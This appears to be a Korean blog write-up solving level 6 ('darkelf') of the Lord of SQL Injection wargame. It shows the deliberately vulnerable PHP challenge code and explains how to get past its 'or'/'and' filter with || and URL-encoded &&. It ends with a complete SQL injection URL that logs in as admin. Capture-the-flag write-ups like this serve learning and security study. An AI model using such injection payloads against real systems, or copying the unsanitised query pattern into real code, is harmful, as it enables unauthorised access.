본문 바로가기

워게임

Lord of SQL Injection - 6번 문제풀이

[6번 문제 - darkelf]

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect();  
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i'$_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if($result['id'== 'admin') solve("darkelf"); 
  highlight_file(__FILE__); 
?>
cs

해당 문제의 핵심은 or, and 를 우회하는 문제이다. (6번 줄)

LOS의 문제들은 5번 줄처럼 비슷해 보이는 필터는 항상 보이면서 그 이후의 필터링에 조건을 줘서 문제를 까다롭게 만드는 것 같다.

 

결론부터 말하면, or와 and 문자만 우회하면 이전에 풀었던 문제처럼 쉽게 정답을 맞출 수 있다.

or 는 ||

and 는 && (&&를 인코딩 한 값 = %26%26)

이렇게 우회할 수 있다. URL상에 입력할 땐 || 는 상관없지만 &&가 입력되지 않아 인코딩 된 값으로 넣어줘야 했다.

 

[문제 풀이 구문]

https://los.rubiya.kr/chall/darkelf_c6a5ed64c4f6a7a5595c24977376136b.php?pw=1%27%20%7c%7c%20id=%27admin%27%20%26%26%201=1%23